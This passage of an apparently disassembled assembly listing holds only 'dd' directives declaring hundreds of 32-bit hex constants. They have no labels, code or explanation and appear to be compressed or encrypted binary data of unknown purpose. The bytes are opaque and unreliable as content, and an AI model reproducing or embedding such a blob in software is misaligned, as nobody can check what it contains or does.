		dd 0E82E5091h, 2A77ED00h, 1FC15B40h, 6436A4DEh,	0DD9B002Dh
		dd 0F128B6D0h, 0BE025890h, 89963A0Dh, 186440D1h, 0AB9C0B82h
		dd 0F8808AEBh, 67906858h, 0F8CFD8FBh, 0BDA770C0h, 2DDF7D04h
		dd 388F6437h, 0B4C76080h, 9701C671h, 0C37CE3ACh, 0CD7B037h
		dd 0B4CB9221h, 0E90C22B1h, 821089Dh, 246A4944h,	9F892000h
		dd 0EF5A900Ah, 0F253CC00h, 7F9AEA7Ah, 92F1188Dh, 0B13B607Dh
		dd 84DB2CA0h, 5D995C60h, 60FF4704h, 7FB629AEh, 7730BF40h
		dd 25B960F3h, 223700A0h, 0BB089FA1h, 0FB2A9E03h, 5A002839h
		dd 139926FFh, 833B94h, 2D018C17h, 80FE8543h, 8C011A5Eh
		dd 0C7B97EE0h, 4CDE07DCh, 0CE00813Eh, 82415EFDh, 9D005AE7h
		dd 7EDCB79h, 551A14Eh, 5C3E45B1h, 0E20F5E4h, 0ABC0AE04h
		dd 4DB4D434h, 0FF9FA312h, 0FD5884Fh, 423CA059h,	0FE7CD7A1h
		dd 0CC530028h, 0D70203Dh, 0F203764Ch, 9418BEBDh, 0A0A5E2F0h
		dd 0BAB34720h, 0CC400008h, 0BC0E434Ch, 0C4FA907Ch, 3F0899h
		dd 82C5DF10h, 3B0C427Dh, 6A805980h, 309D312Eh, 0E26090E8h
		dd 70878251h, 1D12004Fh, 13E6EBBh, 7E00BE72h, 0D7EC55E0h
		dd 9B2E5Dh, 0A53FF549h,	12A40C73h, 0A9D67A00h, 0AA11DBF7h
		dd 0F4950AB6h, 8080FE01h, 2A80374Eh, 5F303304h,	0D6E97920h
		dd 8AA60C6h, 8E12B8DBh,	0AC0A8200h, 9EF249EEh, 669100E0h
		dd 0C0ED9806h, 0FD00955Ah, 0B5EA34A6h, 187FA34Eh, 1849BED5h
		dd 0F60C683Ch, 105C8F60h, 203438A2h, 545A2863h,	7B0FFEC8h
		dd 41CB370h, 0ED0C3DE3h, 0D218A011h, 68016F6h, 40AED75Eh
		dd 0B025A33Ch, 9B3711CFh, 0AB721E65h, 0E46A04h,	9C0DE49Dh
		dd 0BAAE1498h, 1A4C227Bh, 0BD950060h, 9660F363h, 254300B9h
		dd 0ED7C065Fh, 0A0DE654Ch, 85782E82h, 5BF08523h, 134CA0h
		dd 0A0CA286Dh, 0F67461CCh, 120099FCh, 96427F94h, 4834BB80h
		dd 3C06048Ah, 701DB670h, 0B1B8DD01h, 76977D7Eh,	0E9D86080h
		dd 0BE835609h, 1AFA5C17h, 11E67007h, 0FB05430h,	37C4009Ah
		dd 50F78466h, 0D0006B35h, 3688702h, 1F617B4Bh, 315BDDh
		dd 83E016ACh, 80931C6Dh, 2812258h, 0F8570A15h, 0C8EB5CCh
		dd 3C203E09h, 0E0C111Eh, 0F839A560h, 39907D49h,	0B4993E7Fh
		dd 80A00927h, 7D21D821h, 58E486DDh, 0A90F5F40h,	0C6C3CFE8h
		dd 610BBDA5h, 10FC7DAAh, 1598990h, 0C636392Bh, 4031755Bh
		dd 344913BCh, 3C010F4Eh, 0BF534D7Dh, 0B81BA041h, 20C449A8h
		dd 0D1324F9Dh, 30F3B137h, 9B087D98h, 6497A67Fh,	303341AEh
		dd 53D0197Dh, 9F4800A8h, 1179A540h, 3F0C647Ah, 603B8120h
		dd 431B1460h, 1C50F0A2h, 0CB009FCh, 38036626h, 0E980AF98h
		dd 7C177AD5h, 104F5770h, 0C30A220Bh, 258440A3h,	0BD4929E2h
		dd 134A901Ch, 0C4073A9h, 1C86ECABh, 99A30033h, 899E088Fh
		dd 0D4B86BD4h, 79A6EA12h, 0AA8B2804h, 41AFBC88h, 9B46DC1Fh
		dd 0F36440h, 6DF712A7h,	307C39CFh, 71055505h, 1C0852A3h
		dd 469CA04Ah, 7D73170Eh, 9CAE400Ah, 3240A3C4h, 37037D0Bh
		dd 0A8BB7C3Eh, 837A8C96h, 64144Dh, 0F121E2E5h, 0E472499Fh
		dd 0F4B31E13h, 0F3DCFF8h, 0FCAD4641h, 0A459A87Dh, 0F3E56701h
		dd 84BBA37Ah, 1040B430h, 631F573h, 7C0D7293h, 7FA00630h
		dd 0C8A1ECEDh, 703FEF04h, 0B88017F0h, 249223D9h, 8030E090h
		dd 38065933h, 553F687Ch, 42F01DA4h, 845C0A12h, 77F1CEh
		dd 639AD746h, 4A73C40h,	13D084A8h, 408EF525h, 73AA2370h
		dd 38C03F81h, 72627148h, 0A04A63F1h, 0C091A73Ch, 90389712h
		dd 4A1AC20h, 226000DEh,	0D7DD7B0Ah, 89268C81h, 8F0ED082h
		dd 0A32CE0B4h, 7AFAAE4h, 0F6F497E0h, 0B0DD2312h, 7DB4F11Eh
		dd 0D6040A5Fh, 0D4912659h, 0A4F0A85Bh, 46283A2Fh, 3379788Eh
		dd 0EE697362h, 2201E061h, 5FCD00CCh, 36A3986h, 31D50072h
		dd 2FA350AFh, 0E0342D7h, 1702122Ch, 9B80243Eh, 7AE040F0h
		dd 0A75048B3h, 820ABAF0h, 0B4763659h, 0F580B691h, 87CEC77h
		dd 9224243h, 770D2001h,	3BF65241h, 190D4F0h, 0AD7D0AB3h
		dd 0F8FDAF3Dh, 5977E1B9h, 9D9CE1C0h, 0A77365h, 0BAFDD0CDh
		dd 4DFE04F5h, 93E121C3h, 0B502D865h, 40A26499h,	60AF62E3h
		dd 0D09DA7E9h, 4E222038h, 65A5E301h, 971F2FB3h,	4B9A9450h
		dd 96F4003Eh, 11CFEE05h, 0FB0307C8h, 34A7677Ah,	474D9260h
		dd 61946498h, 0AFCE896Dh, 385E8398h, 1FA3CFC3h,	0C22901FFh
		dd 68258A75h, 213031DCh, 1460C238h, 724BBEE4h, 29F180Fh
		dd 68B5C423h, 16E05984h, 4C21FBD2h, 510938E0h, 0C8F921C0h
		dd 17A25ED2h, 8ED8689h,	0D99EFE54h, 5402C0C1h, 68266359h
		dd 4165C73Ah, 0EE830088h, 15C4D55Bh, 4D86D800h,	0A437EC17h
		dd 0A17D0061h, 896651DBh, 26F2A599h, 8097FE00h,	385C1216h
		dd 0F57E07C4h, 11131E33h, 24E3071Fh, 2340CDF0h,	96A30F46h
		dd 0AA85CB4Ch, 0E4A4C80Ah, 546A7C3Ah, 48CC8F0h,	0A74A6590h
		dd 204862F5h, 965F6FCh,	0A8CE5000h, 346CAF1Fh, 451217DBh
		dd 0C4E802E5h, 0CD27F0FDh, 14E40708h, 9F45F26Ah, 0C401946Ah
		dd 84D1502h, 18FD867Fh,	5CD20439h, 329E1920h, 0E1E22064h
		dd 81A0E5D2h, 3D06BDF6h, 0AE334D72h, 0C40DA068h, 9AF8A3E2h
		dd 0E86465A7h, 606424A0h, 8EE55250h, 60048802h,	0E0AC11BEh
		dd 6E2491h, 0E7664390h,	0C9082087h, 14F094F7h, 0E82CD4C8h
		dd 0F5718C52h, 800ECE26h, 0C072DC1Dh, 46EC4E0Bh, 659A02E2h
		dd 31C5A774h, 0EC5A1736h, 9AC2E000h, 0EEF33733h, 2ADB029Bh
		dd 36D12782h, 0C5A23341h, 0CCA3C234h, 84886F59h, 0C894BB32h
		dd 8CE9D45h, 21C0A088h,	7EA93F4Fh, 0B0F35457h, 3EF00097h
		dd 0BFDF0911h, 1C029164h, 9F140CBEh, 0B9F1C04Ch, 0DC7501FDh
		dd 59EC12B8h, 0BDD18030h, 0C18F389h, 99A0A83Fh,	0D77A1612h
		dd 5F980082h, 23EDA52Eh, 3F83C094h, 0E3494A66h,	0E4994CF1h
		dd 9E35BB00h, 95A844EDh, 32D99899h, 0AB007418h,	0EAB058F3h
		dd 0F0096338h, 78682634h, 600F446Ch, 2EAF7D4Ch,	70F8067Fh
		dd 7D7C24E7h, 0D882902h, 817A89FAh, 9B2E5E48h, 0F08E8CD0h
		dd 12C9322h, 21F2D2EFh,	805833C9h, 0CED2D7F8h, 7D540B8Ah
		dd 0F802A40Fh, 380CADA8h, 0F8E05970h, 4A82B2Eh,	144E1DF9h
		dd 99222D0h, 25510B66h,	0E03AD46Eh, 720A4490h, 81E7004Fh
		dd 8BA73069h, 0E50058ACh, 0D4275C02h, 0C4CB806Ah, 2554880h
		dd 0AFFC0EF1h, 762F6180h, 0E6E88BCAh, 0C79030F3h, 6C2A6A59h
		dd 352F9701h, 63026245h, 0ECDC21E8h, 9C460693h,	908B84B3h
		dd 0D939AF00h, 0C21A442Dh, 630F005Dh, 4B5BF92h,	0D2269383h
		dd 0C43A08ADh, 0D16E0051h, 88CF1FB3h, 6A0E3D65h, 864CB572h
		dd 20E9ADh, 0D81FBBC7h
		dd 14F6AF82h, 1B217500h, 5F620199h, 0E9F10E6Eh,	0D880BAD7h
		dd 0EA147983h, 0C111777Ch, 31075D81h, 50B03226h, 0D2F567D6h
		dd 213A09CCh, 323E0091h, 0BFD80E81h, 97F25530h,	7B63080Eh
		dd 9DDE6007h, 1F6BFA8Ch, 7ABBF3F0h, 0E5138E0h, 74732A91h
		dd 5E54361Eh, 8C55C68Eh, 4D42166h, 0C57F2AD9h, 58ED8649h
		dd 1C6BEC20h, 54F322E9h, 9B8128B9h, 0A2917A2Ah,	0D202848h
		dd 0C32E00F3h, 5905B22Ah, 0AD001ADDh, 0E291DFECh, 0C06384D9h
		dd 0D74980D1h, 0FC005B57h, 3CE13110h, 5BF532Ah,	43D062CFh
		dd 5D941C17h, 3BD5CE95h, 6FE82BE0h, 50E90476h, 231FB7CCh
		dd 4C858810h, 0B32118CCh, 0B41FBF00h, 91F03ABBh, 0D9D3600Fh
		dd 86115D06h, 1032F837h, 0CD753500h, 818B0061h,	16D278E4h
		dd 48000565h, 0D66D396Fh, 0C519DDh, 0E2CBF66Bh,	9A9D0A2Ch
		dd 6706DF00h, 645457A1h, 410E145Ch, 9180C462h, 444FE451h
		dd 0A2C12064h, 0F41FB461h, 0A48CAD88h, 0BCB2002Ch, 0D9CD4F1Fh
		dd 0EA7337ACh, 197FC04h, 536B6Fh, 2154079Ch, 68398A14h
		dd 0EA189463h, 40F708E4h, 2BB7016Ah, 44D40894h,	6EE440A4h
		dd 7DFA609Ch, 72004891h, 86F3CD84h, 1609285Ch, 0E8ECE814h
		dd 1F380081h, 0BC3D625h, 8D07021Ah, 70A9D62h, 43D11420h
		dd 8051016Dh, 0F4B15FD2h, 0E3D18088h, 9E7F7A81h, 4451C3EBh
		dd 0EDA806h, 2928FE94h,	0C2008D2Dh, 0BF92362h, 600FF67Bh
		dd 72139802h, 90015E8Fh, 95D65356h, 0C883CAEDh,	1512788Ah
		dd 9664C00Ah, 2780AC05h, 0C2F9596Dh, 7D0830BFh,	363C61C9h
		dd 0BE2E9977h, 0BC000164h, 93280EFBh, 62A0C10Ch, 937B08B6h
		dd 211CBD31h, 0C7CC69C0h, 0AF5A48h, 654910A5h, 67D78EFAh
		dd 2071DC00h, 76A0B16Dh, 2681C006h, 1785CBB7h, 38A10812h
		dd 0C00A1EFAh, 0CAAA1B0Dh, 74040C91h, 0A1E83CFEh, 28B10898h
		dd 0A79C211Fh, 0B9933F68h, 5789001Fh, 38976FCCh, 5683449h
		dd 0EAAB3B51h, 7949B047h, 65646D71h, 0A66FD042h, 7921F6D4h
		dd 4DAB01AAh, 3278E686h, 0A5ACD09Eh, 2D7B0E00h,	8B0BD89Ch
		dd 4D0C9218h, 238354D4h, 0CEAABD32h, 90102531h,	0EE00323Bh
		dd 0AB1CF9B9h, 15F0902h, 0E354D246h, 0EDF62ECBh, 0F88980E6h
		dd 0C2013B9Dh, 1EDB1353h, 71982167h, 0C47BD5C9h, 0B6004090h
		dd 0F3E080A0h, 58977ED6h, 78423607h, 6F88673Bh,	0F0C47564h
		dd 0AB6DA840h, 0B6002E31h, 5B680278h, 29098281h, 0C09764h
		dd 3E7F239Ch, 0E226938Ah, 215EA4DCh, 0EF80F30Dh, 8138222Ch
		dd 7E8400E1h, 78F04DA4h, 54907B2Eh, 51150930h, 0F598B65h
		dd 2901B813h, 280A2300h, 63409561h, 99AA606Eh, 6165BF1h
		dd 0A77F506h, 901809B2h, 50BA5230h, 652A9A01h, 0C556E91h
		dd 2B21C07Ah, 91F92AC2h, 382C8713h, 30B8F062h, 73582A6Ch
		dd 24542B39h, 2AD4D580h, 318ACB1h, 8AF71536h, 889C64D8h
		dd 1A8CD718h, 46B232CCh, 103C18B1h, 73224ABh, 0A29F4B49h
		dd 1D1F262h, 0C8FDB460h, 24C18CF8h, 727FE6ADh, 0A69F848h
		dd 0F42B171Fh, 2E465C38h, 50CC0919h, 0D1FE10EDh, 31E1C110h
		dd 41698094h, 0D9066790h, 765430ADh, 0C7C81954h, 2ED5ED00h
		dd 0BA9C0E4Eh, 14C403BFh, 57631E31h, 0F40A6929h, 9CF90F00h
		dd 2E9A54BBh, 3CB67179h, 0A8F729h, 0F6905DD2h, 4D3A6457h
		dd 0BA2600E3h, 4C471C8Ch, 8AC8121Ah, 0E4C003Ch,	0F2B50BB7h
		dd 0C3F87964h, 0B6322060h, 0B4A726EAh, 32389F00h, 4C0AC23h
		dd 34065CD8h, 97930109h, 8253E68h, 0FBE77941h, 126E80F0h
		dd 4438E183h, 8803EA4Ch, 82246094h, 243F687Ah, 198348CAh
		dd 1F3F0CF4h, 42D36848h, 3ADDFEF3h, 0B6465846h,	712A6E02h
		dd 61314E91h, 2AD6D710h, 0ED11771Eh, 6100EF92h,	0B59CF76Fh
		dd 4B1A0409h, 907B65C4h, 0C26E8814h, 211D88ACh,	3E51B732h
		dd 92802688h, 0AF083239h, 33C01EBCh, 0C2688A60h, 0F99E09B5h
		dd 55840C23h, 62C63116h, 40B36E01h, 41E44483h, 0DE670527h
		dd 44FBE57Ch, 33A10A4h,	3F694587h, 3780E838h, 0B1142FA4h
		dd 80A4D6FEh, 22307F0Eh, 0E78A86E2h, 20489271h,	1498E9F2h
		dd 0AB3E720Dh, 0B28021FCh, 48AFD8C9h, 553CC0F5h, 0A701FC69h
		dd 1BC9E9Ch, 9EC938Bh, 5CEA07E1h, 0E16A8881h, 61338E78h
		dd 0A699F0A8h, 0F470B901h, 7E1E8B38h, 0F9CCC4CEh, 0B784C0CEh
		dd 83C90278h, 795DAE64h, 38608042h, 6043BDF3h, 0C630FDB2h
		dd 48FB00B6h, 0BBCEB13Ah, 884A319Dh, 3B23842Eh,	0D13A0A02h
		dd 41D490ABh, 0A570001Dh, 8B848CFDh, 0F4EC5F40h, 3D4D2109h
		dd 2D6980F5h, 33E6D78h,	17699BCFh, 81F41C14h, 2E9676Ch
		dd 0F68498AAh, 8120492h, 911F71DAh, 0E0AA427Ch,	5F1D361Bh
		dd 2243A2EFh, 14AF7h, 0AF54E920h, 6975E38Dh, 16E9938h
		dd 0F16F5F6Bh, 0EBF4D7EEh, 14200D4Dh, 336904AAh, 30FAA264h
		dd 87184879h, 0C1990271h, 5CD1005Eh, 0B6CD2395h, 0B80FE0DEh
		dd 20279DEDh, 0D42EE76Ah, 4FA109D0h, 0F897F0AAh, 9F826491h
		dd 5040B68Bh, 0F92644AFh, 6B4098DFh, 802770F6h,	9525980Fh
		dd 5340E1Ch, 0DC54776Eh, 6840004Ch, 741E2299h, 3A19D273h
		dd 3923E0h, 0DEDFFC2Fh,	7700D250h, 3D5C5B10h, 0A445173h
		dd 5464867Fh, 632444B0h, 6490B874h, 7D3643CDh, 907AF38Bh
		dd 3D9CF382h, 414A1E3Dh, 37ADE8B4h, 27E041E1h, 0B3D760D6h
		dd 79DD9D3Eh, 241EF1D3h, 0F27408h, 0A1B85993h, 9807E2CEh
		dd 0B49252D5h, 236516D3h, 78303E98h, 0AC9D649Ah, 0A9F344FCh
		dd 48ABA01Fh, 771EEFC0h, 3421D2Fh, 0E53FBD89h, 9804E26Bh
		dd 66C2787Ch, 9550CCC1h, 3C1D99A5h, 1181AE11h, 319239CFh
		dd 13CEF48Dh, 8CC030FDh, 0A87D0D01h, 3DF5883Eh,	62BC3838h
		dd 300F343h, 243E59B3h,	1C24E6F4h, 0A06FB497h, 0B92F051Dh
		dd 0FD680984h, 648E907Ch, 895E6604h, 7443C828h,	0F936C09h
		dd 0B88441E3h, 74079E71h, 0B832B2B5h, 0DC753127h, 0C5246491h
		dd 0A658B436h, 18AB3D7Bh, 9F93AA02h, 90C53C54h,	30BCF832h
		dd 67092A98h, 0C555DE91h, 0C02900B4h, 11D1A22Ah, 0D79D2Ch
		dd 32D5270Fh, 19C804CBh, 0FC995EC0h, 0C070F95Dh, 0F01E4CABh
		dd 876790Ch, 4E028029h,	5AB05F05h, 0D3948283h, 57B60030h
		dd 742401A3h, 467EC466h, 0B5820038h, 29C37B08h,	0E0985CD4h
		dd 0FD27516h, 0EF2D7118h, 38404788h, 0CC1FB0C0h, 3D0D2188h
		dd 0C602DA91h, 0BF4B1FB8h, 4A98D663h, 1831066Dh, 41935875h
		dd 6255D6E0h, 0CD541067h, 88AF0840h, 1778AB25h,	8066918Ch
		dd 0D1645A23h, 2F9109EEh, 28216197h, 238BBCD7h,	0F17AE174h
		dd 0CA05D00Ch, 0E9FD888h, 0F072D000h, 2E06E2D1h, 1C0167Ch
		dd 0A3D23BFEh, 0A0B9E4A9h, 26CE8101h, 796E3018h, 27BC1468h
		dd 2111248Ch, 6DEB0FB2h, 51819D61h, 58A43DE4h, 90362208h
		dd 3E8B780Dh, 53F860A6h, 63A1A079h, 0B1F40DF3h,	15BB00AEh
		dd 4A5CB6A6h, 0F64C5BFDh, 5DB44C4Ch, 0FBD08220h, 0F02A237Bh
		dd 941B4805h, 0BC002D08h, 7F818B78h, 98A10253h,	7D0A79AAh
		dd 16600227h, 0B55D1F5h, 1C9EF428h, 0F054AC81h,	4458CED8h
		dd 5C483898h, 0E51410D8h, 0F3430DF8h, 81B40300h, 0ACC5831Eh
		dd 0DA4AB91Fh, 742C6F40h, 0A82084D9h, 0C79EBCh,	0FD883DD2h
		dd 0FFEA719Ch, 0E0B05E00h, 102B915Bh, 95F0961Ch, 917B8427h
		dd 0E9AD78FCh, 758F0086h, 654D714Eh, 8AE2DB6Bh,	7850D074h
		dd 0E0A772A8h, 18F16442h
		dd 0A748CBBAh, 66F910E0h, 0EB86570Bh, 0F4EFF8A4h, 0A5240EDCh
		dd 710C5C03h, 5B9B924h,	33AD300Ch, 72F80158h, 3769262Bh
		dd 5D19B02Ch, 0B6B500D0h, 0B88B19Dh, 0D100A007h, 0F170DED7h
		dd 95E0AECh, 0F351EEF5h, 6491CC17h, 6F324080h, 4430065Ch
		dd 56F6F0CDh, 3D7C0020h, 0CE70BFC3h, 9AECD190h,	72025802h
		dd 7284627Fh, 86360724h, 0D0E3E6E0h, 1EE5EDCh, 634C520Eh
		dd 0A00D80F9h, 0FA6A9AEh, 0A5702666h, 0BBCAA7A0h, 0B447195h
		dd 0A3A60297h, 8839B9B5h, 18600849h, 221F3FB2h,	1618BD23h
		dd 0BAC421h, 0BD7021Fh,	0EEFEC614h, 787F1B24h, 62DC456Bh
		dd 0BA18F160h, 0C22701FFh, 0FEC55008h, 258822DFh, 69382076h
		dd 3A3A349Eh, 878F84EBh, 0CD808C22h, 0D503BB37h, 0D65CA005h
		dd 0AC006041h, 8E78CE21h, 2534B669h, 2711D417h,	592FEA80h
		dd 1203983Ah, 67D06BBDh, 0E8500B11h, 74990895h,	40E187Ch
		dd 1D88CE10h, 15333Dh, 1FB6C821h, 74D4DD41h, 5AE1C10Bh
		dd 0EC1880EAh, 0DD6BFDD6h, 0FB8709C0h, 0D0F98422h, 0A8987C52h
		dd 3049F720h, 0EFB15687h, 3F72F938h, 0ED4EDB07h, 2D83CADCh
		dd 0B9BE2EE2h, 61150h, 0A6FC2927h, 49AE6282h, 5862BC95h
		dd 0ECF24D47h, 80E8BB54h, 8AD09900h, 21D11ED6h,	84C218F9h
		dd 0AC397962h, 0B70D0B07h, 0B270512Ch, 2C0B301h, 0FAD87AEBh
		dd 944DDCE1h, 0F734E7C1h, 4E35FC20h, 38044B75h,	0D20A24A0h
		dd 0A7126D57h, 0A0C8AAD7h, 0DF8E0442h, 0C0FB1237h, 0ADD009C4h
		dd 10986777h, 6A18F101h, 356F0FEBh, 0CDE8488Eh,	2BAC184h
		dd 55E383Ah, 0E98F0660h, 551578F8h, 881C78BDh, 0B9180A79h
		dd 2FFD82ACh, 0FBE0CCD1h, 2325EDE9h, 91B8179Bh,	497582FBh
		dd 3C08F20Bh, 533EEA67h, 4E68784h, 79CC5F7h, 2033EC6Dh
		dd 0D52DF04Eh, 597BFD18h, 4C299CE8h, 3ABC8088h,	5C71128Ch
		dd 0DC3900BBh, 41449F91h, 76B0F0C5h, 4B3A286Ah,	8BC56480h
		dd 22307E23h, 9FAD5F0Ch, 0F33A85Eh, 5CE951E0h, 0AE6947C0h
		dd 92121162h, 30A0509Fh, 1A559066h, 96CCB387h, 0AC19C0C0h
		dd 30F79180h, 672857E0h, 19C515DEh, 5C907E71h, 9962382Dh
		dd 2B983424h, 34848504h, 1D0B4A0h, 0A72EAE07h, 0E0CB04D1h
		dd 0D400D819h, 0C60BD2B9h, 0EDDA01EAh, 0C8B7D0h, 6DED7396h
		dd 0B2F59EE0h, 0C07A9901h, 0F7ACE89Bh, 5118F0h,	3C243D94h
		dd 601ED3Fh, 0BF13DD16h, 0BA31BE01h, 0ACF849DCh, 2D400077h
		dd 2A7AB324h, 3D00A654h, 96EFD008h, 1516F42h, 668243C9h
		dd 0F4982458h, 0E13F9A11h, 0F88405D3h, 82FEC872h, 0D740E2EDh
		dd 38E0A49Ch, 0A2250800h, 0A1CC033Ah, 5DD8000Eh, 0C8F55BE8h
		dd 0BE00F851h, 3559F0CAh, 22DA2Fh, 64D584DDh, 97EF9354h
		dd 90007FECh, 0F7A66173h, 1FE44A42h, 0F80C5F4h,	79C0630Eh
		dd 16446C31h, 2F3EA000h, 0D0C88EC7h, 11FC62h, 799B35CFh
		dd 9D38922h, 0E06EE0CEh, 25AA58D1h, 0F82600C4h,	2145FA10h
		dd 991C6780h, 3E00CE19h, 3933A331h, 0BFAC0074h,	8B8F171Bh
		dd 0F8025096h, 0D3A65F43h, 0BDE4A188h, 6FDC3EADh, 25E7300Eh
		dd 0FF2BDA68h, 8D014CF0h, 0D6F03DEFh, 29C482A3h, 0E152E4C7h
		dd 234100CBh, 108F3FACh, 83070F74h, 0C5DD638Bh,	0AE827D13h
		dd 529B0050h, 0D20304C2h, 4F00A9E2h, 317B3F43h,	37F19BEh
		dd 8D3D6E6Ah, 0F580CD3Ch, 2B26CAE7h, 9E0009B3h,	917F6F44h
		dd 0AF6D005Ch, 0D102287Dh, 68E88C7Ch, 0C4156703h, 0B082B84Fh
		dd 131EC46h, 0AC33180Ch, 0CC27BF7Ch, 0F9A03230h, 5E00BAFAh
		dd 0AB908342h, 6136946h, 4501EC72h, 0BC0F5050h,	402F9F99h
		dd 1D5E5991h, 39EF0124h, 0E0E8B3FDh, 0C28BFCC6h, 0B5531E00h
		dd 0A56170FBh, 8E9100EEh, 0ABF8BC85h, 0CB2ACE57h, 7290908Ch
		dd 802A80Eh, 21A4608Dh,	2FDE16h, 878C38F2h, 9E9F7F74h
		dd 0CAF4E8E9h, 7E2C3B00h, 5299BA42h, 0D7103E59h, 5BACA380h
		dd 5ED6ED6Eh, 738C4301h, 0E0142B47h, 5E8BEE8h, 0FC595AEAh
		dd 34D00409h, 0ADA7406Fh, 27B9422h, 0F80611D9h,	18402547h
		dd 0CA00A5C5h, 0E49B0162h, 61BD2Bh, 0EFDD7DABh,	99876C42h
		dd 0D490A9F6h, 0F618E37Dh, 0F3B82E5Dh, 1121075Ch, 0F1E76447h
		dd 0C4156057h, 0E12C426h, 34002F86h, 9CE8698Ah,	0CAB20B70h
		dd 749012B4h, 0EA0027ADh, 2B799A81h, 12893DACh,	0F83EE4h
		dd 0BCFA38ECh, 0B83FA2EBh, 0FFB000Ch, 0CDD1E33Ch, 3A6B3ABBh
		dd 351AC080h, 8450F976h, 7781170Fh, 38D9414Bh, 79FC57F6h
		dd 3B1BE026h, 1500377Bh, 0CBA860E4h, 64009BBCh,	9EB3E547h
		dd 0C845B4h, 0D62BE78Ah, 2856B24Ch, 6B6FA218h, 13B9419h
		dd 0FA1AEDF9h, 0DF05E075h, 708D80A7h, 810021E9h, 99495F64h
		dd 7AE4B0h, 52BFCD08h, 0CA3E7135h, 770089B8h, 4F536336h
		dd 6F911FEh, 0E95B3FA3h, 0BB002108h, 7BE2B7C2h,	709B587h
		dd 63FA7662h, 36D1B2FFh, 0A500D058h, 722AD3E5h,	0FE15564Fh
		dd 0A3380018h, 1E66EF42h, 0E7E64474h, 9BC99303h, 98F0177Ch
		dd 2A3E59h, 3DDECE3Ch, 0CC25DB31h, 9D27AE00h, 785C8C6Ch
		dd 4F9600C9h, 0E9F91A69h, 9C80F3D7h, 2CDD00E5h,	95963170h
		dd 0F51D3EC8h, 0DAD49BDFh, 0AE4A7E97h, 0F3518D00h, 0E782E70h
		dd 5E91F0CCh, 0E40C1119h, 8C0002CDh, 0D9817BA1h, 2057343h
		dd 38FDBCD2h, 4C008A5h,	660020CEh, 0BEF4C662h, 0E2398245h
		dd 34B2CAh, 4AA8BD3Dh, 53FFD88Dh, 0C63B6200h, 366BB414h
		dd 0BB1E8F4h, 324E1CFCh, 83CCE080h, 7E004512h, 62FE7D94h
		dd 2C47887h, 9C896FDFh,	2FC0AFE7h, 7700DC3Eh, 264DF3EBh
		dd 8FF7EAh, 0CEACFCE5h,	754284BFh, 15A9C000h, 437E86EEh
		dd 80460F4Fh, 96E05759h, 539ABF5Fh, 0C3790800h,	0C70A481Dh
		dd 33BFE03h, 0CD8E3C77h, 69A87516h, 4700BA20h, 6EEC1036h
		dd 7DBFFh, 1A421DA0h, 2E9E5260h, 0DF962303h, 2FF2D5F1h
		dd 0B7700320h, 10DD3B00h, 0D21772F6h, 9CFE7Dh, 0DA71EBB1h
		dd 5BAA0525h, 0A330A500h, 1F1CEA78h, 415400CCh,	629EDC81h
		dd 2500570Ch, 8B997F63h, 0F52030h, 0E8EAE2ECh, 0BBA59A60h
		dd 44D39B00h, 0C2F12AB4h, 656916BFh, 0AE8F0093h, 0EFEBF5CDh
		dd 0B08EBA00h, 349CF8EAh, 26F20156h, 7C7D0795h,	0C470CC48h
		dd 98927F71h, 0D9B54400h, 89AA0927h, 0B7A11C29h, 31754157h
		dd 0F52A12D7h, 95206051h, 0DC4F1E03h, 0D9B941ECh, 9B40DAB0h
		dd 0F05A36h, 0A0197B6Bh, 9C97A68Ah, 19F492Ch, 0FE186E03h
		dd 0E500A7F1h, 1219D5DAh, 0A211DFE6h, 43137CBCh, 9101F99Fh
		dd 1E0E34A1h, 0FD7312FCh, 980D7ED4h, 86BD00CCh,	0CFD06A98h
		dd 1F26D175h, 970084F4h, 19D74B8Bh, 12C400F1h, 74686089h
		dd 0FB071FFEh, 0E416945h, 0E1B84302h, 120DCD7h,	8A4E0014h
		dd 51E83482h, 553AAE91h, 6CA8097Ch, 284C5A2Bh, 1EC3A0EBh
		dd 47BD6706h, 0D1BB6566h, 6D2B7270h, 58D217B4h,	888070C7h
		dd 0E8224CA5h, 244D005Dh, 7182C62Bh, 5B00B216h,	958B73A7h
		dd 0ED5FC5h, 0DF8650D2h, 64D44220h, 0EC904001h,	8A3A72B2h
		dd 46E94084h, 0BCB090F4h, 99C01119h, 6264FA69h,	541E0A93h
		dd 104056D3h, 72CF00F0h, 16935E35h, 917D0554h, 1C2C6CA9h
		dd 2C49946Ch, 0A85660Bh, 56EAB580h, 0BA00EEC9h,	98ACE6C5h
		dd 786CBD4Eh, 0A23B006Dh, 0F5076714h, 120F6E1Eh, 0AEC85C4Ah
		dd 1FD4274Eh, 0B1F15770h, 357600E9h, 9F7C03DDh,	0DF00A993h
		dd 8261B290h, 0BB75E8h
		dd 2CF001EBh, 86046E18h, 7789C00h, 0CAAB19F9h, 4302009Bh
		dd 0D60E1D2h, 600808Fh,	0CE7B20BAh, 0C3B7DAAh, 32D7EF64h
		dd 0B3EE1902h, 8708C506h, 3E06ADBh, 319FF471h, 748116CAh
		dd 13E06D8Eh, 30E2F069h, 7595D603h, 0C3BF3B1Dh,	17C1D739h
		dd 74C2C40h, 195E1F93h,	509940Ah, 0EE40E048h, 1CF6177Ch
		dd 0E0B012E8h, 204365Ch, 0F3040AEAh, 8C865400h,	70B7B2Fh
		dd 804F88BAh, 0F76FB78Ah, 4F344E84h, 7CB01B5Ch,	1267423Ch
		dd 0ECE0151Dh, 37903087h, 0E76B828h, 8CEB3D3Bh,	5940976Fh
		dd 0A810190Fh, 100D7812h, 0E59681BFh, 0AAA8142Dh, 7B1078D8h
		dd 0E17C00A9h, 0F9649967h, 1200937Fh, 65986DFFh, 0C0AB7AF6h
		dd 210F1020h, 7600A01Fh, 0D4B7FBD6h, 0A6F020h, 0BDA3298Bh
		dd 9D3DC5D2h, 0F7D9B103h, 0B91989FBh, 91209AC0h, 673C0024h
		dd 86CF0DA7h, 210E5B18h, 0A17304EAh, 2978D35Ch,	440E6ECh
		dd 79ACDD06h, 0E9F4801Dh, 0A000BE72h, 0B5A44E0Eh, 0F23F70Fh
		dd 0A78C8A36h, 0CC080A03h, 0D4016790h, 0D2B0BE03h, 80AF06CEh
		dd 2E4C9F9h, 0FBF6FA4Ch, 0D0608F8Dh, 7F05371Bh,	0A4B19AF0h
		dd 7CDD6D80h, 0A0E8ADh,	3BCE288Bh, 15E5278Eh, 9E839C00h
		dd 56B59B5Fh, 8CA00F3h,	1D9AC2EDh, 0F600FD6Ah, 76246170h
		dd 0E6BF94C0h, 7AB300D8h, 0D43C548Bh, 0BEF02507h, 0C3AC4800h
		dd 3ADCD250h, 8761025Ah, 1B9E8B9Fh, 13DFCCA2h, 3037A858h
